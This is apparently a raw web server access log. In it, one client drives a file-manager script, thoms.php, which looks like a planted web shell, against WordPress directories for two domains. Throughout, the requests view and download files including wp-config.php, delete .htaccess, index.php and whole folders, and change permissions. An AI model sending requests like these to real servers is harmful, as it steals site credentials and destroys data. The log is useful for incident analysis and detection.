45.135.193.11 - - [11/Sep/2026:23:14:47 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 19381 "https://163.245.207.76/thoms.php?chmod=wp-includes&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:47 -0400] "GET /thoms.php?del=wp-load.php&p=bft.com.tw HTTP/1.1" 200 19381 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:47 -0400] "GET /thoms.php?p=bft.com.tw%2F.tmb HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:47 -0400] "GET /thoms.php?dl=wp-signup.php&p=bft.com.tw HTTP/1.1" 200 19380 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:47 -0400] "GET /thoms.php?p=bft.com.tw&view=.htaccess HTTP/1.1" 200 12611 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20782 "https://163.245.207.76/thoms.php?p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:47 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-comments-post.php&p=bft.com.tw HTTP/1.1" 200 11443 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:47 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-mail.php&p=bft.com.tw HTTP/1.1" 200 11437 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:47 -0400] "GET /thoms.php?p=bft.com.tw&view=wp-settings.php HTTP/1.1" 200 19458 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:47 -0400] "GET /thoms.php?copy=bft.com.tw%2F.htaccess&p=bft.com.tw HTTP/1.1" 200 11414 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:47 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-links-opml.php&p=bft.com.tw HTTP/1.1" 200 11437 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:47 -0400] "GET /thoms.php?chmod=wp-load.php&p=bft.com.tw HTTP/1.1" 200 11475 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:47 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-signup.php&p=bft.com.tw HTTP/1.1" 200 11439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:47 -0400] "GET /bft.com.tw HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:47 -0400] "GET /thoms.php?p=bft.com.tw&upload= HTTP/1.1" 200 12146 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:47 -0400] "GET /thoms.php?copy=bft.com.tw%2Findex.php&p=bft.com.tw HTTP/1.1" 200 11433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:47 -0400] "GET /bft.com.tw/ HTTP/1.1" 500 0 "https://163.245.207.76/bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:47 -0400] "GET /thoms.php?copy=bft.com.tw%2Fxmlrpc.php&p=bft.com.tw HTTP/1.1" 200 11436 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:47 -0400] "GET /thoms.php?p=bft.com.tw&view=mah.php HTTP/1.1" 200 11805 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:47 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-config-sample.php&p=bft.com.tw HTTP/1.1" 200 11440 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:47 -0400] "GET /thoms.php?del=index.php&p=bft.com.tw HTTP/1.1" 200 19368 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:47 -0400] "GET /thoms.php?del=mah.php&p=bft.com.tw HTTP/1.1" 200 19379 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:47 -0400] "GET /thoms.php?p=bft.com.tw&view=wp-activate.php HTTP/1.1" 200 14808 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:47 -0400] "GET /thoms.php?del=thoms.php&p=bft.com.tw HTTP/1.1" 200 19380 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:47 -0400] "GET /thoms.php?dl=wp-config-sample.php&p=bft.com.tw HTTP/1.1" 200 19378 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:47 -0400] "GET /thoms.php?chmod=sync-sample&p=bft.com.tw HTTP/1.1" 200 11486 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:47 -0400] "GET /thoms.php?del=.tmb&p=bft.com.tw HTTP/1.1" 200 19379 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:47 -0400] "GET /thoms.php?del=client-global&p=bft.com.tw HTTP/1.1" 200 19379 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:48 -0400] "GET /thoms.php?chmod=index.php&p=bft.com.tw HTTP/1.1" 200 11487 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:48 -0400] "GET /thoms.php?del=.htaccess&p=bft.com.tw HTTP/1.1" 200 19380 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:48 -0400] "GET /thoms.php?del=error_log&p=bft.com.tw HTTP/1.1" 200 19379 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:48 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28622 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:48 -0400] "GET /thoms.php?chmod=wp-comments-post.php&p=bft.com.tw HTTP/1.1" 200 11483 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:48 -0400] "GET /thoms.php?chmod=wp-config-sample.php&p=bft.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:48 -0400] "GET /thoms.php?del=wp-includes&p=bft.com.tw HTTP/1.1" 200 19331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:48 -0400] "GET /thoms.php?dl=wp-load.php&p=bft.com.tw HTTP/1.1" 200 19379 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:48 -0400] "GET /thoms.php?chmod=wp-admin&p=bft.com.tw HTTP/1.1" 200 11472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:48 -0400] "GET /thoms.php?del=wp-mail.php&p=bft.com.tw HTTP/1.1" 200 19379 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:48 -0400] "GET /thoms.php?dl=wp-mail.php&p=bft.com.tw HTTP/1.1" 200 19378 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:48 -0400] "GET /thoms.php?copy=bft.com.tw%2Freadme.html&p=bft.com.tw HTTP/1.1" 200 11433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:48 -0400] "GET /thoms.php?chmod=wp-signup.php&p=bft.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:48 -0400] "GET /thoms.php?dl=wp-blog-header.php&p=bft.com.tw HTTP/1.1" 200 19370 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:48 -0400] "GET /thoms.php?copy=bft.com.tw%2Fclient-global&p= HTTP/1.1" 200 12140 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:48 -0400] "GET /thoms.php?dl=xmlrpc.php&p=bft.com.tw HTTP/1.1" 200 19378 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:48 -0400] "GET /thoms.php?p=bft.com.tw&view=error_log HTTP/1.1" 200 13932 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:48 -0400] "GET /thoms.php?p=bft.com.tw&view=wp-config-sample.php HTTP/1.1" 200 13296 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:48 -0400] "GET /thoms.php?del=wp-comments-post.php&p=bft.com.tw HTTP/1.1" 200 19378 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:48 -0400] "GET /thoms.php?p=bft.com.tw&view=xmlrpc.php HTTP/1.1" 200 13369 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:48 -0400] "GET /thoms.php?copy=bft.com.tw%2Fupgrade&p= HTTP/1.1" 200 12151 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:48 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-cron.php&p=bft.com.tw HTTP/1.1" 200 11437 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:48 -0400] "GET /thoms.php?copy=bft.com.tw%2F.well-known&p= HTTP/1.1" 200 12098 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:48 -0400] "GET /thoms.php?p=bft.com.tw&view=thoms.php HTTP/1.1" 200 11809 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:48 -0400] "GET /thoms.php?chmod=wp-blog-header.php&p=bft.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:48 -0400] "GET /thoms.php?p=bft.com.tw&view=wp-cron.php HTTP/1.1" 200 14165 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:48 -0400] "GET /thoms.php?p=bft.com.tw&view=wp-signup.php HTTP/1.1" 200 22500 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:48 -0400] "GET /thoms.php?chmod=xmlrpc.php&p=bft.com.tw HTTP/1.1" 200 11478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:48 -0400] "GET /thoms.php?copy=bft.com.tw%2Fsync-sample&p= HTTP/1.1" 200 12140 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:48 -0400] "GET /thoms.php?chmod=wp-trackback.php&p=bft.com.tw HTTP/1.1" 200 11481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:48 -0400] "GET /thoms.php?dl=wp-cron.php&p=bft.com.tw HTTP/1.1" 200 19379 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:48 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-trackback.php&p=bft.com.tw HTTP/1.1" 200 11400 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:48 -0400] "GET /thoms.php?del=sync-sample&p=bft.com.tw HTTP/1.1" 200 19232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:49 -0400] "GET /thoms.php?chmod=error_log&p=bft.com.tw HTTP/1.1" 200 11477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:49 -0400] "GET /thoms.php?chmod=wp-activate.php&p=bft.com.tw HTTP/1.1" 200 11481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:49 -0400] "GET /thoms.php?p=bft.com.tw&view=license.txt HTTP/1.1" 200 20069 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:49 -0400] "GET /thoms.php?chmod=.tmb&p=bft.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:49 -0400] "GET /thoms.php?del=wp-admin&p=bft.com.tw HTTP/1.1" 200 19379 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:49 -0400] "GET /thoms.php?del=wp-content&p=bft.com.tw HTTP/1.1" 200 19370 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:49 -0400] "GET /thoms.php?dl=wp-settings.php&p=bft.com.tw HTTP/1.1" 200 19379 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:49 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 19379 "https://163.245.207.76/thoms.php?chmod=.tmb&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:49 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:49 -0400] "GET /thoms.php?dl=wp-comments-post.php&p=bft.com.tw HTTP/1.1" 200 19378 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:49 -0400] "GET /thoms.php?p=bossini.com.tw&view=mah.php HTTP/1.1" 200 11802 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20751 "https://163.245.207.76/thoms.php?p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:49 -0400] "GET /thoms.php?dl=wp-trackback.php&p=bft.com.tw HTTP/1.1" 200 19380 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:49 -0400] "GET /thoms.php?chmod=wp-config-sample.php&p=bossini.com.tw HTTP/1.1" 200 11485 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:49 -0400] "GET /thoms.php?dl=wp-cron.php&p=bossini.com.tw HTTP/1.1" 200 17596 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:49 -0400] "GET /thoms.php?chmod=transfer-sample&p=bossini.com.tw HTTP/1.1" 200 11481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:49 -0400] "GET /thoms.php?dl=locoy.php&p=bossini.com.tw HTTP/1.1" 200 17595 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:49 -0400] "GET /thoms.php?del=wp-config-sample.php&p=bossini.com.tw HTTP/1.1" 200 17594 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:49 -0400] "GET /thoms.php?dl=wp-config-sample.php&p=bossini.com.tw HTTP/1.1" 200 17594 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:49 -0400] "GET /thoms.php?dl=wp-load.php&p=bossini.com.tw HTTP/1.1" 200 17594 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:49 -0400] "GET /thoms.php?chmod=xmlrpc.php&p=bossini.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:49 -0400] "GET /thoms.php?p=bossini.com.tw&view=readme.html HTTP/1.1" 200 15229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:49 -0400] "GET /thoms.php?chmod=error_log&p=bossini.com.tw HTTP/1.1" 200 11478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:49 -0400] "GET /thoms.php?chmod=wp-signup.php&p=bossini.com.tw HTTP/1.1" 200 11483 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:49 -0400] "GET /thoms.php?del=wp-signup.php&p=bossini.com.tw HTTP/1.1" 200 17587 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:49 -0400] "GET /thoms.php?del=.well-known&p=bossini.com.tw HTTP/1.1" 200 17586 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:49 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-load.php&p=bossini.com.tw HTTP/1.1" 200 11473 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:49 -0400] "GET /thoms.php?del=license.txt&p=bossini.com.tw HTTP/1.1" 200 17594 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:49 -0400] "GET /thoms.php?p=bossini.com.tw&view=wp-trackback.php HTTP/1.1" 200 14086 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:49 -0400] "GET /thoms.php?p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 200 12039 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:50 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fcgi-bin&p= HTTP/1.1" 200 12152 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:50 -0400] "GET /thoms.php?p=bossini.com.tw&view=error_log HTTP/1.1" 200 14598 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:50 -0400] "GET /thoms.php?dl=index.php&p=bossini.com.tw HTTP/1.1" 200 17585 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:50 -0400] "GET /thoms.php?dl=wp-blog-header.php&p=bossini.com.tw HTTP/1.1" 200 17595 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:50 -0400] "GET /thoms.php?dl=wp-config.php&p=bossini.com.tw HTTP/1.1" 200 17596 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:50 -0400] "GET /thoms.php?del=wp-settings.php&p=bossini.com.tw HTTP/1.1" 200 17595 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
